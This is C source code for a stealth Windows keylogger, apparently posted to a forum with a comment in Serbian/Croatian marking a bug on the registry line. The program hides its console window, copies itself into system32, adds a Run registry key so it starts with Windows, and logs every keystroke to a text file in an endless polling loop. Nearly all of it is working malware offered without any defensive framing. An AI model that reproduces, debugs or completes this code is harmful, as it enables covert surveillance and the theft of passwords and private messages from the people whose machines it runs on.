Code:
#include <stdio.h>
#include <windows.h>
#include <Winuser.h>
#define szRegKey   "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define szCopy     "C:\\WINDOWS\\system32\\subzero.exe"
#define szStartup       "sup"
void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen("c:\\keys.txt","a+");

if (key==VK_RETURN)
fprintf(key_file,"%s","[ENTER]");

if (key==VK_DELETE)
fprintf(key_file,"%s","[del]");

if (key==VK_BACK)
fprintf(key_file,"%s","[Backspace]");

if (key==13)
fprintf(key_file,"%s","\n");

if (key==32)
fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)
fprintf(key_file,"%s","[END]");

if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)
fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){
key = key - 48;
fprintf(key_file,"%s",&key);
}

if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);

if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}
int main ()
{
int i;
char test[MAX_PATH];
char szFile[MAX_PATH];
char szCurrPath[MAX_PATH];
{
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
{
GetModuleFileName(GetModuleHandle(NULL),szCurrPath,MAX_PATH);
CopyFile(szCurrPath,szCopy,TRUE);
{
HKEY hKey;
GetModuleFileName(GetModuleHandle(0),szFile,sizeof(szFile));
RegCreateKey(HKEY_CURRENT_USER,szRegKey,&hKey);
RegSetValueEx(hKey,szStartup,0,REG_SZ,"C:\\WINDOWS\\system32\\subzero.exe",sizeof(szFile));  ------------------------->>>>> ovde je greska ! ! !
   HWND stealth; 
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   AllocConsole();
   ShowWindow(stealth,0);
}
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

    while(1)
    {
        for(i=8;i<=190;i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            {
                keys (i,test);
            }
        }
    }
}
}
}
}